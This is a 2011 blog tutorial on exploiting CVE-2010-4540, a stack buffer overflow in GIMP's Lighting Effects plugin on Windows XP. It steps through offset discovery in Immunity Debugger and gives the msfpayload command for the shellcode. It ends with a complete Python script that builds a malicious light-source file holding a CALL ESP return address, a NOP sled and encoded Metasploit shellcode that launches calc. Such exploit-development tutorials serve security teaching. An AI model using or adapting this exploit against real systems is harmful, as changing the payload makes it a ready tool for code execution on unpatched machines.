Wednesday, March 30, 2011

Recipe 1 - CVE-2010-4540 Gimp

For this recipe we will be exploiting CVE-2010-4540.  The CVE describes a stack based buffer overflow in Gimp's Lighting Effects plugin.

We will be writing the exploit under Windows XP SP2 for now, so we can avoid the extra protections put in place on newer versions of windows.

You will need the following applications/tools to complete this recipe:
  • Gimp (2.6.11 was used)
  • Immunity Debugger (1.8 was used)
  • pvefindaddr (Peter Van Eeckhoutte's Immunity Debugger plugin)
  • Metasploit ( For payload generation)
  • Notepad++ (You can use any text editor, I just prefer this one)
  • HxD (You can use any Hex Editor, this is just the one I use) 


    Warning: This tutorial is for educational purposes only.
        To start off, run Gimp and open any picture.  The CVE states that the error occurs in the Lighting Effects plugin.  So with your picture open, browse to Filters -> Light and Shadow -> Lighting Effects.

        You are then brought to the plugin settings.  You will notice the CVE states the "Lighting Effects > Light plugin", and the error is caused by loading a configuration file with a long "Position" field.  Click on the "light" tab in the plugins settings.

        Plugin Settings
        You can see in this tab, we have the ability to save or open a configuration file.  So leaving everything default we will choose to save a configuration file.

        Open the configuration file in a text editor to view the contents.  You will notice a few different fields and the "Position" field mentioned in the CVE.

        Light Source File
        We know that the overflow is caused by a long Position field.  So to start with, we will fill the Position field with a lot of A's.  I put in roughly 1000 to start with.

        Testing with A's
        Save the file, go back into Gimp in the Lighting Effects plugin and choose to open a configuration file. You should see the following exception thrown.


        Exception
        Notice the Exception Offset is 41414141 (AAAA).  Now that we have our exception, we will replace the A's with a random pattern.  This way we can locate exactly where the overflow occurs and where our return address needs to be placed in memory.  You can generate a random pattern with pvefindaddr in Immunity Debugger or using Metasploit.

        Open Immunity Debugger and in the console run "!pvefindaddr pattern_create 1000".

        Pattern Creation
        This will generate the random pattern of 1000 bytes.  The output is shown in your log window and saved under a text file labeled "mspattern.txt" in your Immunity Debugger installation folder.

        We now have enough knowledge of the bug to start writing a script to generate our file for us.  You should already have python installed since you are using Immunity Debugger, so that is what we will use.

        The following python script will generate a light source file like the one we saved and insert the random pattern instead of just A's.

        1:  #Gimp 2.6.11 Lighting Effects Light plugin buffer overflow  
        2:    
        3:  params_before=("\x4E\x75\x6D\x62\x65\x72\x20\x6F\x66\x20\x6C\x69\x67"  #This is the first part of the default file up to "Position: "  
        4:  "\x68\x74\x73\x3A\x20\x31\x0A\x54\x79\x70\x65\x3A\x20"  
        5:  "\x50\x6F\x69\x6E\x74\x0A\x50\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20")  
        6:    
        7:  buffer=("Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8"          #Our pattern generated with pvefindaddr  
        8:  "Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae"  
        9:  "0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1A"  
        10: "g2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3A"  
        11: "i4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5A"  
        12: "k6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am"  
        13: "8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0"  
        14: "Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq6Aq7Aq8Aq9Ar0Ar1Ar2Ar"  
        15: "3Ar4Ar5Ar6Ar7Ar8Ar9As0As1As2As3As4As5As6As7As8As9At0At1At2At3At4At5A"  
        16: "t6At7At8At9Au0Au1Au2Au3Au4Au5Au6Au7Au8Au9Av0Av1Av2Av3Av4Av5Av6Av7Av8"  
        17: "Av9Aw0Aw1Aw2Aw3Aw4Aw5Aw6Aw7Aw8Aw9Ax0Ax1Ax2Ax3Ax4Ax5Ax6Ax7Ax8Ax9Ay0Ay"  
        18: "1Ay2Ay3Ay4Ay5Ay6Ay7Ay8Ay9Az0Az1Az2Az3Az4Az5Az6Az7Az8Az9Ba0Ba1Ba2Ba3"  
        19: "Ba4Ba5Ba6Ba7Ba8Ba9Bb0Bb1Bb2Bb3Bb4Bb5Bb6Bb7Bb8Bb9Bc0Bc1Bc2Bc3Bc4Bc5"  
        20: "Bc6Bc7Bc8Bc9Bd0Bd1Bd2Bd3Bd4Bd5Bd6Bd7Bd8Bd9Be0Be1Be2Be3Be4Be5Be6Be7"  
        21: "Be8Be9Bf0Bf1Bf2Bf3Bf4Bf5Bf6Bf7Bf8Bf9Bg0Bg1Bg2Bg3Bg4Bg5Bg6Bg7Bg8Bg9Bh0Bh1Bh2B")  
        22:    
        23: params_after=("\x0A\x44\x69\x72\x65\x63\x74\x69\x6F\x6E\x3A\x20\x2D"  #Not needed, but this is the last part of the file  
        24: "\x31\x20\x2D\x31\x20\x31\x0A\x43\x6F\x6C\x6F\x72\x3A"  
        25: "\x20\x31\x20\x31\x20\x31\x0A\x49\x6E\x74\x65\x6E\x73\x69\x74\x79\x3A\x20\x31\x0A")  
        26:    
        27: file=open('light_exploit', 'w')  
        28: file.write(params_before+buffer+params_after)  
        29: print "Crafted Light Source!\n"  
        30: file.close()  
        

        The params_before and params_after values I got from our light source file we saved earlier. You can get the values by opening the light source configuration file in a hex editor and copy/paste into the script.

        params_before
        params_after

        The params_after is not needed since the overflow happens before you get to there, but I put it in anyways for completeness.

        Once your script is finished go ahead and execute it to create your new "light_exploit" file.

        Running Script
        You can verify the script worked correctly by opening the file in a text editor.

        Contents of light_exploit


        Go back into Gimp, and open the Lighting Effects plugin. We can now run Immunity Debugger and attach to the "lighting" process. The debugger will pause the process.  Press F9 until you are running again and go back to Gimp and click on the "light" tab.  Click open and choose your new lighting configuration file with the random pattern in it.  The debugger will pause at the exception.  Note the value of EIP is 4136441.

        Pattern Exception
        We can find the offset of the value in our pattern by using the command "!pvefindaddr pattern_offset 41326441" and viewing the log window in the debugger.

        Finding Offset



        You can see  from the output that our address starts 96 bytes into the buffer.  So bytes 97-100 overwrite the EIP. This gives us enough information to go back into our python script and do some editing. We know our buffer needs to be 96 bytes, the EIP should come right after that, and then our payload.

        1:  #Gimp 2.6.11 Lighting Effects Light plugin buffer overflow  
        2:    
        3:  params_before=("\x4E\x75\x6D\x62\x65\x72\x20\x6F\x66\x20\x6C\x69\x67" #This is the first part of the default file up to "Position: "  
        4:  "\x68\x74\x73\x3A\x20\x31\x0A\x54\x79\x70\x65\x3A\x20"  
        5:  "\x50\x6F\x69\x6E\x74\x0A\x50\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20")  
        6:    
        7:  buffer="A" * 96  #The offset needed to get to EIP  
        8:  eip="AAAA"       #EIP should be set to this!  
        9:  payload="BBBB"   #Just to see where it is  
        10:    
        11: params_after=("\x0A\x44\x69\x72\x65\x63\x74\x69\x6F\x6E\x3A\x20\x2D"  #Not needed, but this is the last part of the file  
        12: "\x31\x20\x2D\x31\x20\x31\x0A\x43\x6F\x6C\x6F\x72\x3A"  
        13: "\x20\x31\x20\x31\x20\x31\x0A\x49\x6E\x74\x65\x6E\x73\x69\x74\x79\x3A\x20\x31\x0A")  
        14:    
        15: file=open('light_exploit', 'w')  
        16: file.write(params_before+buffer+eip+payload+params_after)  
        17: print "Crafted Light Source!\n"  
        18: file.close()  
        

        Save the script and run it again to generate our new file. Restart the debugging process, open the Lighting Effects plugin, and attach to the lighting process in the debugger. Open the new file and note that EIP is overwritten with 41414141 (AAAA) and ESP points to the beginning of our payload (BBBB).
        Testing Script

        This is a direct EIP overwrite, so all we need to do it supply a way to return to ESP, where our payload is located.  To do this we can use pvefindaddr again.  Issue the command "!pvefindaddr j ESP -n -o" in the debugger to find a list of possible return addresses.  We use -n so that pointers with null bytes are not returned and -o so that OS modules are not searched. This leaves us with only searching modules loaded by Gimp.  When possible, this is the best way to find pointers to use, that way your address can be used across different platforms and will not be hindered by OS versions. I chose to use a pointer in libfontconfig-1.dll that points to CALL ESP, 0x64FADBA3.  Do not forget that this needs to be written in reverse order in our script (little endian).

        We can also generate our shellcode with Metasploit at this point using "./msfpayload windows/exec CMD="calc" R | ./msfencode -e x86/alpha_mixed -t c".  This will give us a calculator spawning shellcode that is limited to alphanumeric characters.  We use the alphanumeric encoder because we are exploiting from a plain text configuration file, and control characters or other bad characters could cause only part of our shellcode to be loaded into memory.We will also insert a small NOP sled before our shellcode so the the decoder has some room to work.

        Having the rest of what we need, we can update our python script one last time.

        1:  #Gimp 2.6.11 Lighting Effects Light plugin buffer overflow  
        2:    
        3:  params_before=("\x4E\x75\x6D\x62\x65\x72\x20\x6F\x66\x20\x6C\x69\x67" #This is the first part of the default file up to "Position: "  
        4:  "\x68\x74\x73\x3A\x20\x31\x0A\x54\x79\x70\x65\x3A\x20"  
        5:  "\x50\x6F\x69\x6E\x74\x0A\x50\x6F\x73\x69\x74\x69\x6F\x6E\x3A\x20")  
        6:    
        7:  buffer="A" * 96        #The offset needed to get to EIP  
        8:  eip="\xA3\xDB\xFA\x64" #Universal CALL ESP from libfontconfig-1.dll  
        9:  nop="\x90" * 12        #Room for our shellcode  
        10:  payload=("\x89\xe1\xdb\xcf\xd9\x71\xf4\x5d\x55\x59\x49\x49\x49\x49\x49" # ./msfpayload windows/exec CMD="calc" R | ./msfencode -e x86/alpha_mixed -t c   
        11:  "\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"  
        12:  "\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"  
        13:  "\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"  
        14:  "\x4b\x4c\x48\x68\x4e\x69\x47\x70\x43\x30\x47\x70\x51\x70\x4e"  
        15:  "\x69\x4a\x45\x45\x61\x4a\x72\x43\x54\x4e\x6b\x50\x52\x50\x30"  
        16:  "\x4c\x4b\x46\x32\x46\x6c\x4e\x6b\x42\x72\x47\x64\x4e\x6b\x43"  
        17:  "\x42\x51\x38\x46\x6f\x4c\x77\x51\x5a\x46\x46\x44\x71\x4b\x4f"  
        18:  "\x45\x61\x49\x50\x4e\x4c\x47\x4c\x50\x61\x51\x6c\x45\x52\x44"  
        19:  "\x6c\x51\x30\x49\x51\x48\x4f\x46\x6d\x45\x51\x49\x57\x48\x62"  
        20:  "\x4a\x50\x42\x72\x46\x37\x4c\x4b\x46\x32\x44\x50\x4c\x4b\x50"  
        21:  "\x42\x45\x6c\x46\x61\x48\x50\x4c\x4b\x43\x70\x51\x68\x4d\x55"  
        22:  "\x49\x50\x50\x74\x42\x6a\x46\x61\x4a\x70\x46\x30\x4c\x4b\x43"  
        23:  "\x78\x45\x48\x4c\x4b\x46\x38\x51\x30\x43\x31\x48\x53\x4a\x43"  
        24:  "\x47\x4c\x51\x59\x4c\x4b\x44\x74\x4e\x6b\x47\x71\x4a\x76\x45"  
        25:  "\x61\x49\x6f\x45\x61\x49\x50\x4e\x4c\x4a\x61\x4a\x6f\x44\x4d"  
        26:  "\x46\x61\x48\x47\x46\x58\x4b\x50\x51\x65\x48\x74\x44\x43\x51"  
        27:  "\x6d\x48\x78\x47\x4b\x51\x6d\x45\x74\x50\x75\x4d\x32\x50\x58"  
        28:  "\x4c\x4b\x43\x68\x46\x44\x46\x61\x4e\x33\x50\x66\x4c\x4b\x46"  
        29:  "\x6c\x42\x6b\x4e\x6b\x51\x48\x47\x6c\x45\x51\x49\x43\x4e\x6b"  
        30:  "\x43\x34\x4e\x6b\x45\x51\x48\x50\x4f\x79\x43\x74\x51\x34\x44"  
        31:  "\x64\x43\x6b\x51\x4b\x43\x51\x42\x79\x43\x6a\x46\x31\x4b\x4f"  
        32:  "\x4d\x30\x43\x68\x43\x6f\x43\x6a\x4e\x6b\x46\x72\x48\x6b\x4d"  
        33:  "\x56\x43\x6d\x42\x4a\x45\x51\x4e\x6d\x4c\x45\x4c\x79\x45\x50"  
        34:  "\x45\x50\x43\x30\x46\x30\x43\x58\x44\x71\x4c\x4b\x50\x6f\x4e"  
        35:  "\x67\x49\x6f\x4e\x35\x4d\x6b\x48\x70\x4c\x75\x4c\x62\x51\x46"  
        36:  "\x51\x78\x4e\x46\x4c\x55\x4f\x4d\x4f\x6d\x49\x6f\x4e\x35\x47"  
        37:  "\x4c\x47\x76\x51\x6c\x45\x5a\x4f\x70\x4b\x4b\x49\x70\x50\x75"  
        38:  "\x46\x65\x4d\x6b\x51\x57\x44\x53\x50\x72\x50\x6f\x50\x6a\x45"  
        39:  "\x50\x46\x33\x4b\x4f\x48\x55\x51\x73\x50\x61\x42\x4c\x45\x33"  
        40:  "\x43\x30\x46\x6a\x41\x41")  
        41:    
        42:  params_after=("\x0A\x44\x69\x72\x65\x63\x74\x69\x6F\x6E\x3A\x20\x2D" #Not needed, but this is the last part of the file  
        43:  "\x31\x20\x2D\x31\x20\x31\x0A\x43\x6F\x6C\x6F\x72\x3A"  
        44:  "\x20\x31\x20\x31\x20\x31\x0A\x49\x6E\x74\x65\x6E\x73\x69\x74\x79\x3A\x20\x31\x0A")  
        45:    
        46:  file=open('light_exploit', 'w')  
        47:  file.write(params_before+buffer+eip+nop+payload+params_after)  
        48:  print "Crafted Light Source!\n"  
        49:  file.close()  
        

         Save and run the script.  Load the file into the Lighting Effects plugin and with some luck, you should have a shiny new calculator open up.

        Calculator!








        No comments:

        Post a Comment